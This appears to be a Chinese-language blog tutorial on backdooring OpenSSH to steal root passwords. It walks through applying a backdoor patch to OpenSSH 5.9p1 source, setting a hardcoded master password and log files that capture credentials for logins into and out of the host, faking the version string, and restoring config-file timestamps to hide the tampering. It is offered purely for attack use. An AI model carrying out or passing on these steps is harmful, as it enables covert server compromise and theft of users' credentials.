OpenSSH后門獲取root密碼

1. 查看sshd系統版本

    [root@huangzp2 src]# ssh -V

    OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013

2. 解壓版本，其中patch為補丁包

    tar -zxvf 0x06-openssh-5.9p1.patch.tar.gz

    tar -zxvf openssh-5.9p1.tar.gz

3. 替換補丁文件，替換前備份文件

    mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old

    cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1/

    cd openssh-5.9p1

    patch < sshbd5.9p1.diff # 打補丁就是替換或修改原來的文件

   patching file auth.c # 認證

   patching file auth-pam.c #認證

   patching file auth-passwd.c #認證

   patching file canohost.c

   patching file includes.h

   patching file log.c

   patching file servconf.c # 關于sshd服務端

   patching file sshconnect2.c # 關于sshd連接

   patching file sshlogin.c # 關于登錄，把root密碼記錄下來

   patching file version.h # 關于版本

4. 修改后門密碼和記錄root密碼的文件夾目錄

   vim includes.h

  #define ILOG "/usr/share/ifile"  # 記錄錄到本機的用戶名和密碼

  #define OLOG "/usr/share/ofile"  # 記錄從本機登錄到其他機器的用戶名和密碼

  #define SECRETPW "12345678"  # 后門密碼

5. 編輯vim version.h，修改版本號與原來一致

    原來：OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013

6. 編譯安裝

   組件：yum install -y openssl openssl-devel pam-devel zlib zlib-devel gcc

            ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5

            make -j 4 ；make install

            --prefix=/usr   # 安裝目錄

           --sysconfdir=/etc/ssh   # 指定sshd配置文件

           --with-pam   # pam認證

           --with-kerberos5   # kerberos認證

7. 還原新配置文件為舊配置文件時間

   說明：將ssh_config和sshd_config修改時間跟ssh_config.old和sshd_config.old一致

  touch -r/etc/ssh/ssh_config.old /etc/ssh/ssh_config   touch -r/etc/ssh/sshd_config.old /etc/ssh/sshd_config

8. 重啟sshd服務

    service sshd restart

9. 驗證并查看

    登錄后再次查看就記錄了密碼，修改了密碼再次登錄也會記錄

1）記錄錄到本機的用戶名和密碼

2）記錄從本機登錄到其他機器的用戶名和密碼

3）后門密碼登錄

10. 配置自動發送郵件

    ........略

    參看文獻 http://www.cnblogs.com/croso/p/5280783.html